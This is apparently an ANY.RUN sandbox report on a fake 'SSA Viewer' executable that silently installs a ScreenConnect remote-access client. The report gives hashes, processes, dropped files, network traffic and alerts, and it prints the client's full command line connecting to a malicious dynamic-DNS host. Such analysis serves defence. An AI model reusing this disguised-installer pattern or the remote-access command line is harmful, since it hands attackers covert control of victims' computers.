File name:

SSA Viewer 9.0.8.exe

Full analysis: https://app.any.run/tasks/9f24b784-1d7f-422d-bae7-c06a1eb0f0b2
Verdict: Malicious activity
Analysis date: October 02, 2024, 14:10:48
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
screenconnect
remote
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

006B98EFF589D38EBF8465E626568062

SHA1:

E4BEC2C62854250C189E86988B18A805BE12B222

SHA256:

131A2528430F97E2C1D168BB32DD79BFB672A7B9106B75D53DE1F254E809118F

SSDEEP:

98304:eWuvp+mKBzhUZd3OytH9awXB0DXe3S+5OmxlGwP3AW5JTGG0DR/W3Tk9ZJAHfW3F:k5DAUs6y

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • SCREENCONNECT has been detected (SURICATA)

      • ScreenConnect.ClientService.exe (PID: 880)
  • SUSPICIOUS

    • Reads security settings of Internet Explorer

      • SSA Viewer 9.0.8.exe (PID: 3812)
    • Executable content was dropped or overwritten

      • rundll32.exe (PID: 5712)
    • Executes as Windows Service

      • VSSVC.exe (PID: 512)
      • ScreenConnect.ClientService.exe (PID: 880)
    • Connects to unusual port

      • ScreenConnect.ClientService.exe (PID: 880)
    • Potential Corporate Privacy Violation

      • ScreenConnect.ClientService.exe (PID: 880)
  • INFO

    • Checks supported languages

      • SSA Viewer 9.0.8.exe (PID: 3812)
      • msiexec.exe (PID: 4424)
      • msiexec.exe (PID: 6744)
    • Reads the computer name

      • SSA Viewer 9.0.8.exe (PID: 3812)
      • msiexec.exe (PID: 4424)
      • msiexec.exe (PID: 6744)
    • Reads the machine GUID from the registry

      • SSA Viewer 9.0.8.exe (PID: 3812)
    • The process uses the downloaded file

      • SSA Viewer 9.0.8.exe (PID: 3812)
    • Create files in a temporary directory

      • SSA Viewer 9.0.8.exe (PID: 3812)
      • rundll32.exe (PID: 5712)
    • Process checks computer location settings

      • SSA Viewer 9.0.8.exe (PID: 3812)
    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3188)
      • msiexec.exe (PID: 4424)
    • Manages system restore points

      • SrTasks.exe (PID: 4932)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (76.4)
.exe | Win32 Executable (generic) (12.4)
.exe | Generic Win/DOS Executable (5.5)
.exe | DOS Executable Generic (5.5)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2022:11:18 20:10:20+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14.33
CodeSize: 45568
InitializedDataSize: 5478912
UninitializedDataSize: -
EntryPoint: 0x14ad
OSVersion: 5.1
ImageVersion: -
SubsystemVersion: 5.1
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
145
Monitored processes
15
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start ssa viewer 9.0.8.exe msiexec.exe msiexec.exe msiexec.exe no specs rundll32.exe vssvc.exe no specs srtasks.exe no specs conhost.exe no specs msiexec.exe no specs msiexec.exe no specs #SCREENCONNECT screenconnect.clientservice.exe screenconnect.windowsclient.exe no specs svchost.exe screenconnect.windowsclient.exe no specs ssa viewer 9.0.8.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
512C:\WINDOWS\system32\vssvc.exeC:\Windows\System32\VSSVC.exeservices.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Volume Shadow Copy Service
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\vssvc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
880"C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=llkt501.ddns.net&p=8041&s=2b6a4514-20b6-43bb-9fbd-371ed832f97b&k=BgIAAACkAABSU0ExAAgAAAEAAQAFiJkYSsHWAiMLqCRmzzktgQckyG3TGgm6yPTLawNtNX6q1gr57JH4PrLfClMTmwPp16%2ftpUu72MJPhrP9Fe%2fDAOLI7IxssEnqHo0cK7GF8605xW1%2b29YYv7Gp%2f%2bRVnS8EXpyfNuusFYa%2bCoXawQboJM2Gi1VXFl4XcMGGJmYswsgo9qU%2fBqW3jX3LRGSRskHQDuJYQ8zNUvX1ZvvvtewO8gfRa7Z6WeC1pOnkHykQZ7ux8aNy9iCaTKjcx7FnTu1T7GRag6eNtt4weTuPK2uLu2HYzL%2fVKjjkmkP1xXy2lhSPvloy810giaMzeQQElR11NNJ7O%2bcRI%2b4xi9%2bIANXb&c=X9_Fallen&c=&c=&c=&c=&c=&c=&c="C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\ScreenConnect.ClientService.exe
services.exe
User:
SYSTEM
Integrity Level:
SYSTEM
Version:
24.2.3.8936
Modules
Images
c:\program files (x86)\screenconnect client (905a7ca53d26072a)\screenconnect.clientservice.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\shlwapi.dll
1944C:\Windows\syswow64\MsiExec.exe -Embedding 18CADD31B7C34C423118D1758D772ECE E Global\MSI0000C:\Windows\SysWOW64\msiexec.exemsiexec.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Exit code:
0
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\aclayers.dll
2256C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2508\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exeSrTasks.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3188"C:\Windows\System32\msiexec.exe" /i "C:\Users\admin\AppData\Local\Temp\ScreenConnect\905a7ca53d26072a\setup.msi"C:\Windows\SysWOW64\msiexec.exe
SSA Viewer 9.0.8.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows® installer
Exit code:
0
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\aclayers.dll
3812"C:\Users\admin\Desktop\SSA Viewer 9.0.8.exe" C:\Users\admin\Desktop\SSA Viewer 9.0.8.exe
explorer.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\desktop\ssa viewer 9.0.8.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\oleaut32.dll
4308C:\Windows\syswow64\MsiExec.exe -Embedding CE86A411330D3540174A520F113D5A63C:\Windows\SysWOW64\msiexec.exemsiexec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows® installer
Exit code:
0
Version:
5.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\aclayers.dll
4424C:\WINDOWS\system32\msiexec.exe /VC:\Windows\System32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
4668"C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\ScreenConnect.WindowsClient.exe" "RunRole" "e611aa0d-3d7a-44c3-b58e-4c97c1d9a2de" "System"C:\Program Files (x86)\ScreenConnect Client (905a7ca53d26072a)\ScreenConnect.WindowsClient.exeScreenConnect.ClientService.exe
User:
SYSTEM
Company:
ScreenConnect Software
Integrity Level:
SYSTEM
Description:
ScreenConnect Client
Exit code:
0
Version:
24.2.3.8936
Modules
Images
c:\program files (x86)\screenconnect client (905a7ca53d26072a)\screenconnect.windowsclient.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
Total events
5 660
Read events
5 383
Write events
260
Delete events
17

Modification events

(PID) Process:(4424) msiexec.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SystemRestore
Operation:writeName:SrCreateRp (Enter)
Value:
4800000000000000221702E8D414DB0148110000001B0000D50700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(4424) msiexec.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP
Operation:writeName:SppGetSnapshots (Enter)
Value:
4800000000000000221702E8D414DB0148110000001B0000D20700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(4424) msiexec.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP
Operation:writeName:SppGetSnapshots (Leave)
Value:
48000000000000004F644EE8D414DB0148110000001B0000D20700000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(4424) msiexec.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP
Operation:writeName:SppEnumGroups (Enter)
Value:
48000000000000004F644EE8D414DB0148110000001B0000D10700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(4424) msiexec.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP
Operation:writeName:SppEnumGroups (Leave)
Value:
480000000000000061C850E8D414DB0148110000001B0000D10700000100000000000000010000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(4424) msiexec.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP
Operation:writeName:SppCreate (Enter)
Value:
4800000000000000332C53E8D414DB0148110000001B0000D00700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(4424) msiexec.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SPP
Operation:writeName:LastIndex
Value:
11
(PID) Process:(4424) msiexec.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP
Operation:writeName:SppGatherWriterMetadata (Enter)
Value:
4800000000000000E968CAE8D414DB0148110000001B0000D30700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(4424) msiexec.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\VssapiPublisher
Operation:writeName:IDENTIFY (Enter)
Value:
48000000000000005ACDCCE8D414DB01481100000C1A0000E8030000010000000000000000000000B91D42F51A384743B63A6AD0C5B87F9B00000000000000000000000000000000
(PID) Process:(512) VSSVC.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer
Operation:writeName:IDENTIFY (Enter)
Value:
48000000000000000FACD8E8D414DB010002000048170000E80300000100000001000000000000000000000000000000000000000000000000000000000000000000000000000000
Executable files
20
Suspicious files
22
Text files
10
Unknown types
0

Dropped files

PID
Process
Filename
Type
3812SSA Viewer 9.0.8.exeC:\Users\admin\AppData\Local\Temp\ScreenConnect\905a7ca53d26072a\setup.msi
MD5:
SHA256:
4424msiexec.exeC:\System Volume Information\SPP\metadata-2
MD5:
SHA256:
4424msiexec.exeC:\Windows\Installer\3fa1cb.msi
MD5:
SHA256:
3188msiexec.exeC:\Users\admin\AppData\Local\Temp\MSI6484.tmpexecutable
MD5:1FBE85C03CD43AE1F40B4AC3FBAF644A
SHA256:5534C5F8A6FA15723B5D295136E4847B75C3F251AFD4E560B554B46B0BF8E7B2
5712rundll32.exeC:\Users\admin\AppData\Local\Temp\MSI6484.tmp-\CustomAction.configxml
MD5:6F52EBEA639FD7CEFCA18D9E5272463E
SHA256:7027B69AB6EBC9F3F7D2F6C800793FDE2A057B76010D8CFD831CF440371B2B23
5712rundll32.exeC:\Users\admin\AppData\Local\Temp\MSI6484.tmp-\ScreenConnect.InstallerActions.dllexecutable
MD5:AC82CC8D30247F434B57155C8D7CB2A3
SHA256:809A85090BD142900E82D9050DD6C0D68DEAA8B4FA1AA0FB302BC931FC9A89DD
5712rundll32.exeC:\Users\admin\AppData\Local\Temp\MSI6484.tmp-\ScreenConnect.Windows.dllexecutable
MD5:F4E602A8A0FD88FF3FFDAC946C21E567
SHA256:2AB4FB595844C11F27A54402C37197C96FA8E92FCC5D63B43D4810A4891EFBC7
5712rundll32.exeC:\Users\admin\AppData\Local\Temp\MSI6484.tmp-\Microsoft.Deployment.WindowsInstaller.dllexecutable
MD5:5EF88919012E4A3D8A1E2955DC8C8D81
SHA256:3E54286E348EBD3D70EAED8174CCA500455C3E098CDD1FCCB167BC43D93DB29D
5712rundll32.exeC:\Users\admin\AppData\Local\Temp\MSI6484.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dllexecutable
MD5:A921A2B83B98F02D003D9139FA6BA3D8
SHA256:548C551F6EBC5D829158A1E9AD1948D301D7C921906C3D8D6B6D69925FC624A1
5712rundll32.exeC:\Users\admin\AppData\Local\Temp\MSI6484.tmp-\Microsoft.Deployment.Compression.dllexecutable
MD5:4717BCC62EB45D12FFBED3A35BA20E25
SHA256:E04DE7988A2A39931831977FA22D2A4C39CF3F70211B77B618CAE9243170F1A7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
43
DNS requests
16
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2120
MoUsoCoreWorker.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
4080
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
whitelisted
4080
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
whitelisted
6056
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
whitelisted
2036
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1448
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
whitelisted
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2120
MoUsoCoreWorker.exe
88.221.169.152:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
3888
svchost.exe
239.255.255.250:1900
whitelisted
4324
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
whitelisted
1448
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6056
svchost.exe
20.190.159.75:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6056
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
  • 20.73.194.208
whitelisted
google.com
  • 172.217.16.206
whitelisted
www.microsoft.com
  • 88.221.169.152
whitelisted
login.live.com
  • 20.190.159.75
  • 20.190.159.0
  • 40.126.31.71
  • 40.126.31.69
  • 20.190.159.68
  • 40.126.31.73
  • 40.126.31.67
  • 20.190.159.73
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
client.wns.windows.com
  • 40.115.3.253
whitelisted
go.microsoft.com
  • 184.28.89.167
whitelisted
llkt501.ddns.net
  • 194.59.31.9
malicious
slscr.update.microsoft.com
  • 20.114.59.183
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 40.69.42.241
whitelisted

Threats

PID
Process
Class
Message
2256
svchost.exe
Potentially Bad Traffic
ET POLICY DNS Query to DynDNS Domain *.ddns .net
880
ScreenConnect.ClientService.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 37
880
ScreenConnect.ClientService.exe
Potential Corporate Privacy Violation
REMOTE [ANY.RUN] ScreenConnect Server Response
No debug info